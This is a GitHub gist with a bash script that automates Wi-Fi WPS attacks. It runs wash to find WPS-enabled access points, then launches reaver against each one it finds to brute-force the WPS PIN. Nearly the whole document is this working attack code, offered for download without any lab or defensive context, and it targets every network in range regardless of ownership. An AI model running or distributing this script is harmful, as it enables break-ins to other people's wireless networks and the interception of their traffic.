-
-
Save jorgectf/670ff7f5c17bb2510ff741f31fd20999 to your computer and use it in GitHub Desktop.
Wash and Reaver automation script.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ "$#" -ne 1 ]; then | |
echo "Illegal number of parameters" | |
echo "./{} INTERFACE" | |
fi | |
interface=$1 | |
if (( EUID != 0 )); then | |
echo "This script must be executed as root." | |
exit 1 | |
fi | |
trap ctrl_c INT | |
ctrl_c() { | |
echo "Killing processes..." | |
kill $washPID | |
rm /tmp/washOut_$currentRand.txt | |
exit | |
} | |
currentRand=$(cat /dev/urandom | tr -dc '0-9' | fold -w 10 | head -n 1) | |
echo "Running wash..." | |
wash -i $interface -j -2 -5 > /tmp/washOut_$currentRand.txt & | |
washPID=$! | |
tail --silent -f /tmp/washOut_$currentRand.txt -n $(wc -l /tmp/washOut_$currentRand.txt) | while read dict; do | |
echo "AP found!" | |
echo "Raw JSON: $dict" | |
reaver -i $interface -c $(echo $dict | jq -r '. | .channel') -b $(echo $dict | jq -r '. | .bssid') -vv -S -d 15 | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment